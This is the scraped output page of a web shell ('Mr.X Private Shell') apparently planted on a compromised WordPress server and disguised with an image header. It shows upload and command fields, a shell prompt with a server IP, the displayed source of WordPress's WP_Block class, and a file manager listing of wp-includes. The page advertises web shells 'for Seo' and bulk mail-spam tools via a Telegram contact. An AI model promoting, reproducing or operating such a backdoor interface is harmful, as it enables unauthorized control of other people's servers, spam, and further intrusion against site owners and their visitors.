����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.143: ~ $
<?php
/**
 * Blocks API: WP_Block class
 *
 * @package WordPress
 * @since 5.5.0
 */

/**
 * Class representing a parsed instance of a block.
 *
 * @since 5.5.0
 * @property array $attributes
 */
class WP_Block {

	/**
	 * Original parsed array representation of block.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $parsed_block;

	/**
	 * Name of block.
	 *
	 * @example "core/paragraph"
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $name;

	/**
	 * Block type associated with the instance.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type
	 */
	public $block_type;

	/**
	 * Block context values.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $context = array();

	/**
	 * All available context of the current hierarchy.
	 *
	 * @since 5.5.0
	 * @var array
	 * @access protected
	 */
	protected $available_context;

	/**
	 * Block type registry.
	 *
	 * @since 5.9.0
	 * @var WP_Block_Type_Registry
	 * @access protected
	 */
	protected $registry;

	/**
	 * List of inner blocks (of this same class)
	 *
	 * @since 5.5.0
	 * @var WP_Block_List
	 */
	public $inner_blocks = array();

	/**
	 * Resultant HTML from inside block comment delimiters after removing inner
	 * blocks.
	 *
	 * @example "...Just <!-- wp:test /--> testing..." -> "Just testing..."
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $inner_html = '';

	/**
	 * List of string fragments and null markers where inner blocks were found
	 *
	 * @example array(
	 *   'inner_html'    => 'BeforeInnerAfter',
	 *   'inner_blocks'  => array( block, block ),
	 *   'inner_content' => array( 'Before', null, 'Inner', null, 'After' ),
	 * )
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $inner_content = array();

	/**
	 * Constructor.
	 *
	 * Populates object properties from the provided block instance argument.
	 *
	 * The given array of context values will not necessarily be available on
	 * the instance itself, but is treated as the full set of values provided by
	 * the block's ancestry. This is assigned to the private `available_context`
	 * property. Only values which are configured to consumed by the block via
	 * its registered type will be assigned to the block's `context` property.
	 *
	 * @since 5.5.0
	 *
	 * @param array                  $block             Array of parsed block properties.
	 * @param array                  $available_context Optional array of ancestry context values.
	 * @param WP_Block_Type_Registry $registry          Optional block type registry.
	 */
	public function __construct( $block, $available_context = array(), $registry = null ) {
		$this->parsed_block = $block;
		$this->name         = $block['blockName'];

		if ( is_null( $registry ) ) {
			$registry = WP_Block_Type_Registry::get_instance();
		}

		$this->registry = $registry;

		$this->block_type = $registry->get_registered( $this->name );

		$this->available_context = $available_context;

		if ( ! empty( $this->block_type->uses_context ) ) {
			foreach ( $this->block_type->uses_context as $context_name ) {
				if ( array_key_exists( $context_name, $this->available_context ) ) {
					$this->context[ $context_name ] = $this->available_context[ $context_name ];
				}
			}
		}

		if ( ! empty( $block['innerBlocks'] ) ) {
			$child_context = $this->available_context;

			if ( ! empty( $this->block_type->provides_context ) ) {
				foreach ( $this->block_type->provides_context as $context_name => $attribute_name ) {
					if ( array_key_exists( $attribute_name, $this->attributes ) ) {
						$child_context[ $context_name ] = $this->attributes[ $attribute_name ];
					}
				}
			}

			$this->inner_blocks = new WP_Block_List( $block['innerBlocks'], $child_context, $registry );
		}

		if ( ! empty( $block['innerHTML'] ) ) {
			$this->inner_html = $block['innerHTML'];
		}

		if ( ! empty( $block['innerContent'] ) ) {
			$this->inner_content = $block['innerContent'];
		}
	}

	/**
	 * Returns a value from an inaccessible property.
	 *
	 * This is used to lazily initialize the `attributes` property of a block,
	 * such that it is only prepared with default attributes at the time that
	 * the property is accessed. For all other inaccessible properties, a `null`
	 * value is returned.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Property name.
	 * @return array|null Prepared attributes, or null.
	 */
	public function __get( $name ) {
		if ( 'attributes' === $name ) {
			$this->attributes = isset( $this->parsed_block['attrs'] ) ?
				$this->parsed_block['attrs'] :
				array();

			if ( ! is_null( $this->block_type ) ) {
				$this->attributes = $this->block_type->prepare_attributes_for_render( $this->attributes );
			}

			return $this->attributes;
		}

		return null;
	}

	/**
	 * Generates the render output for the block.
	 *
	 * @since 5.5.0
	 *
	 * @param array $options {
	 *     Optional options object.
	 *
	 *     @type bool $dynamic Defaults to 'true'. Optionally set to false to avoid using the block's render_callback.
	 * }
	 * @return string Rendered block output.
	 */
	public function render( $options = array() ) {
		global $post;
		$options = wp_parse_args(
			$options,
			array(
				'dynamic' => true,
			)
		);

		$is_dynamic    = $options['dynamic'] && $this->name && null !== $this->block_type && $this->block_type->is_dynamic();
		$block_content = '';

		if ( ! $options['dynamic'] || empty( $this->block_type->skip_inner_blocks ) ) {
			$index = 0;

			foreach ( $this->inner_content as $chunk ) {
				if ( is_string( $chunk ) ) {
					$block_content .= $chunk;
				} else {
					$inner_block  = $this->inner_blocks[ $index ];
					$parent_block = $this;

					/** This filter is documented in wp-includes/blocks.php */
					$pre_render = apply_filters( 'pre_render_block', null, $inner_block->parsed_block, $parent_block );

					if ( ! is_null( $pre_render ) ) {
						$block_content .= $pre_render;
					} else {
						$source_block = $inner_block->parsed_block;

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->parsed_block = apply_filters( 'render_block_data', $inner_block->parsed_block, $source_block, $parent_block );

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->context = apply_filters( 'render_block_context', $inner_block->context, $inner_block->parsed_block, $parent_block );

						$block_content .= $inner_block->render();
					}

					$index++;
				}
			}
		}

		if ( $is_dynamic ) {
			$global_post = $post;
			$parent      = WP_Block_Supports::$block_to_render;

			WP_Block_Supports::$block_to_render = $this->parsed_block;

			$block_content = (string) call_user_func( $this->block_type->render_callback, $this->attributes, $block_content, $this );

			WP_Block_Supports::$block_to_render = $parent;

			$post = $global_post;
		}

		if ( ! empty( $this->block_type->script ) ) {
			wp_enqueue_script( $this->block_type->script );
		}

		if ( ! empty( $this->block_type->view_script ) && empty( $this->block_type->render_callback ) ) {
			wp_enqueue_script( $this->block_type->view_script );
		}

		if ( ! empty( $this->block_type->style ) ) {
			wp_enqueue_style( $this->block_type->style );
		}

		/**
		 * Filters the content of a single block.
		 *
		 * @since 5.0.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content about to be appended.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( 'render_block', $block_content, $this->parsed_block, $this );

		/**
		 * Filters the content of a single block.
		 *
		 * The dynamic portion of the hook name, `$name`, refers to
		 * the block name, e.g. "core/paragraph".
		 *
		 * @since 5.7.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content about to be appended.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( "render_block_{$this->name}", $block_content, $this->parsed_block, $this );

		return $block_content;
	}

}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0755
IXR Folder 0755
PHPMailer Folder 0755
Requests Folder 0755
SimplePie Folder 0755
Text Folder 0755
assets Folder 0755
block-patterns Folder 0755
block-supports Folder 0755
blocks Folder 0755
certificates Folder 0755
css Folder 0755
customize Folder 0755
fonts Folder 0755
images Folder 0755
js Folder 0755
php-compat Folder 0755
pomo Folder 0755
random_compat Folder 0755
rest-api Folder 0755
sitemaps Folder 0755
sodium_compat Folder 0755
theme-compat Folder 0755
widgets Folder 0755
admin-bar.php File 32.69 KB 0644
atomlib.php File 11.67 KB 0644
author-template.php File 16.63 KB 0644
block-editor.php File 18.37 KB 0644
block-i18n.json File 316 B 0644
block-patterns.php File 4.19 KB 0644
block-template-utils.php File 29.57 KB 0644
block-template.php File 10.52 KB 0644
blocks.php File 42.22 KB 0644
bookmark-template.php File 12.6 KB 0644
bookmark.php File 14.97 KB 0644
cache-compat.php File 1.02 KB 0644
cache.php File 9.29 KB 0644
canonical.php File 32.31 KB 0644
capabilities.php File 34.88 KB 0644
category-template.php File 54.4 KB 0644
category.php File 12.41 KB 0644
class-IXR.php File 2.48 KB 0644
class-feed.php File 529 B 0644
class-http.php File 373 B 0644
class-json.php File 42.42 KB 0644
class-oembed.php File 407 B 0644
class-phpass.php File 6.54 KB 0644
class-phpmailer.php File 664 B 0644
class-pop3.php File 20.35 KB 0644
class-requests.php File 29.72 KB 0644
class-simplepie.php File 95.78 KB 0644
class-smtp.php File 457 B 0644
class-snoopy.php File 36.83 KB 0644
class-walker-category-dropdown.php File 2.41 KB 0644
class-walker-category.php File 8.27 KB 0644
class-walker-comment.php File 13.88 KB 0644
class-walker-nav-menu.php File 9.13 KB 0644
class-walker-page-dropdown.php File 2.65 KB 0644
class-walker-page.php File 7.42 KB 0644
class-wp-admin-bar.php File 17.05 KB 0644
class-wp-ajax-response.php File 5.12 KB 0644
class-wp-application-passwords.php File 11.95 KB 0644
class-wp-block-editor-context.php File 890 B 0644
class-wp-block-list.php File 4.61 KB 0644
class-wp-block-parser.php File 14.86 KB 0644
class-wp-block-pattern-categories-registry.php File 4.43 KB 0644
class-wp-block-patterns-registry.php File 5.8 KB 0644
class-wp-block-styles-registry.php File 4.88 KB 0644
class-wp-block-supports.php File 5.17 KB 0644
class-wp-block-template.php File 1.77 KB 0644
class-wp-block-type-registry.php File 4.53 KB 0644
class-wp-block-type.php File 9.27 KB 0644
class-wp-block.php File 7.99 KB 0644
class-wp-comment-query.php File 46.33 KB 0644
class-wp-comment.php File 9.1 KB 0644
class-wp-customize-control.php File 25.11 KB 0644
class-wp-customize-manager.php File 196.56 KB 0644
class-wp-customize-nav-menus.php File 55.45 KB 0644
class-wp-customize-panel.php File 10.19 KB 0644
class-wp-customize-section.php File 10.72 KB 0644
class-wp-customize-setting.php File 29.08 KB 0644
class-wp-customize-widgets.php File 69.52 KB 0644
class-wp-date-query.php File 34.17 KB 0644
class-wp-dependency.php File 2.45 KB 0644
class-wp-editor.php File 69.54 KB 0644
class-wp-embed.php File 15.57 KB 0644
class-wp-error.php File 7.13 KB 0644
class-wp-fatal-error-handler.php File 7.4 KB 0644
class-wp-feed-cache-transient.php File 2.5 KB 0644
class-wp-feed-cache.php File 970 B 0644
class-wp-hook.php File 15.32 KB 0644
class-wp-http-cookie.php File 7.21 KB 0644
class-wp-http-curl.php File 12.1 KB 0644
class-wp-http-encoding.php File 6.51 KB 0644
class-wp-http-ixr-client.php File 3.39 KB 0644
class-wp-http-proxy.php File 5.82 KB 0644
class-wp-http-requests-hooks.php File 1.94 KB 0644
class-wp-http-requests-response.php File 4.24 KB 0644
class-wp-http-response.php File 2.88 KB 0644
class-wp-http-streams.php File 16.26 KB 0644
class-wp-http.php File 38.97 KB 0644
class-wp-image-editor-gd.php File 15.29 KB 0644
class-wp-image-editor-imagick.php File 26.33 KB 0644
class-wp-image-editor.php File 16.26 KB 0644
class-wp-list-util.php File 6.83 KB 0644
class-wp-locale-switcher.php File 4.9 KB 0644
class-wp-locale.php File 13.65 KB 0644
class-wp-matchesmapregex.php File 1.76 KB 0644
class-wp-meta-query.php File 29.47 KB 0644
class-wp-metadata-lazyloader.php File 5.23 KB 0644
class-wp-network-query.php File 18.72 KB 0644
class-wp-network.php File 12.09 KB 0644
class-wp-object-cache.php File 13.23 KB 0644
class-wp-oembed-controller.php File 6.67 KB 0644
class-wp-oembed.php File 29.98 KB 0644
class-wp-paused-extensions-storage.php File 4.81 KB 0644
class-wp-post-type.php File 20.72 KB 0644
class-wp-post.php File 6.27 KB 0644
class-wp-query.php File 135.7 KB 0644
class-wp-recovery-mode-cookie-service.php File 6.31 KB 0644
class-wp-recovery-mode-email-service.php File 10.41 KB 0644
class-wp-recovery-mode-key-service.php File 4.17 KB 0644
class-wp-recovery-mode-link-service.php File 3.32 KB 0644
class-wp-recovery-mode.php File 11.11 KB 0644
class-wp-rewrite.php File 61.49 KB 0644
class-wp-role.php File 2.44 KB 0644
class-wp-roles.php File 8.24 KB 0644
class-wp-session-tokens.php File 7.25 KB 0644
class-wp-simplepie-file.php File 3.18 KB 0644
class-wp-simplepie-sanitize-kses.php File 1.73 KB 0644
class-wp-site-query.php File 29.65 KB 0644
class-wp-site.php File 7.25 KB 0644
class-wp-tax-query.php File 18.99 KB 0644
class-wp-taxonomy.php File 13.41 KB 0644
class-wp-term-query.php File 37.18 KB 0644
class-wp-term.php File 5.15 KB 0644
class-wp-text-diff-renderer-inline.php File 716 B 0644
class-wp-text-diff-renderer-table.php File 16.4 KB 0644
class-wp-theme-json-resolver.php File 14.06 KB 0644
class-wp-theme-json-schema.php File 4.2 KB 0644
class-wp-theme-json.php File 61.31 KB 0644
class-wp-theme.php File 52.56 KB 0644
class-wp-user-meta-session-tokens.php File 2.92 KB 0644
class-wp-user-query.php File 37.18 KB 0644
class-wp-user-request.php File 2.14 KB 0644
class-wp-user.php File 21.7 KB 0644
class-wp-walker.php File 12.71 KB 0644
class-wp-widget-factory.php File 3.24 KB 0644
class-wp-widget.php File 17.72 KB 0644
class-wp-xmlrpc-server.php File 207.94 KB 0644
class-wp.php File 24.67 KB 0644
class.wp-dependencies.php File 13.68 KB 0644
class.wp-scripts.php File 18.5 KB 0644
class.wp-styles.php File 10.63 KB 0644
comment-template.php File 93.81 KB 0644
comment.php File 123.57 KB 0644
compat.php File 14.52 KB 0644
cron.php File 39.9 KB 0644
date.php File 406 B 0644
default-constants.php File 10.02 KB 0644
default-filters.php File 30.73 KB 0644
default-widgets.php File 2.17 KB 0644
deprecated.php File 121.94 KB 0644
embed-template.php File 341 B 0644
embed.php File 36.05 KB 0644
error-protection.php File 4.02 KB 0644
feed-atom-comments.php File 5.32 KB 0644
feed-atom.php File 2.98 KB 0644
feed-rdf.php File 2.61 KB 0644
feed-rss.php File 1.16 KB 0644
feed-rss2-comments.php File 3.97 KB 0644
feed-rss2.php File 3.71 KB 0644
feed.php File 22.43 KB 0644
formatting.php File 318.69 KB 0644
functions.php File 251.33 KB 0644
functions.wp-scripts.php File 13.12 KB 0644
functions.wp-styles.php File 8.37 KB 0644
general-template.php File 155.36 KB 0644
global-styles-and-settings.php File 6.21 KB 0644
http.php File 22.46 KB 0644
https-detection.php File 6.7 KB 0644
https-migration.php File 4.62 KB 0644
kses.php File 67.49 KB 0644
l10n.php File 57.66 KB 0644
link-template.php File 145.71 KB 0644
load.php File 49 KB 0644
locale.php File 162 B 0644
media-template.php File 58.97 KB 0644
media.php File 180.75 KB 0644
meta.php File 61.21 KB 0644
ms-blogs.php File 24.58 KB 0644
ms-default-constants.php File 4.65 KB 0644
ms-default-filters.php File 6.35 KB 0644
ms-deprecated.php File 20.63 KB 0644
ms-files.php File 2.59 KB 0644
ms-functions.php File 91.92 KB 0644
ms-load.php File 19.32 KB 0644
ms-network.php File 3.58 KB 0644
ms-settings.php File 4.03 KB 0644
ms-site.php File 38.68 KB 0644
nav-menu-template.php File 22.75 KB 0644
nav-menu.php File 41.55 KB 0644
option.php File 75.1 KB 0644
pluggable-deprecated.php File 6.12 KB 0644
pluggable.php File 101.96 KB 0644
plugin.php File 33.41 KB 0644
post-formats.php File 6.91 KB 0644
post-template.php File 63.33 KB 0644
post-thumbnail-template.php File 10.63 KB 0644
post.php File 268.67 KB 0644
query.php File 34.94 KB 0644
registration-functions.php File 200 B 0644
registration.php File 200 B 0644
rest-api.php File 93.05 KB 0644
revision.php File 22.93 KB 0644
rewrite.php File 18.76 KB 0644
robots-template.php File 5.05 KB 0644
rss-functions.php File 255 B 0644
rss.php File 22.44 KB 0644
script-loader.php File 110.87 KB 0644
session.php File 258 B 0644
shortcodes.php File 20.93 KB 0644
sitemaps.php File 3.16 KB 0644
spl-autoload-compat.php File 441 B 0644
taxonomy.php File 167.62 KB 0644
template-canvas.php File 592 B 0644
template-loader.php File 2.94 KB 0644
template.php File 21.96 KB 0644
theme-i18n.json File 925 B 0644
theme-templates.php File 5.4 KB 0644
theme.json File 5.6 KB 0644
theme.php File 124.05 KB 0644
update.php File 29.34 KB 0644
user.php File 157.79 KB 0644
vars.php File 5.68 KB 0644
version.php File 929 B 0644
widgets.php File 67.58 KB 0644
wlwmanifest.xml File 1.02 KB 0644
wp-db.php File 106.22 KB 0644
wp-diff.php File 647 B 0644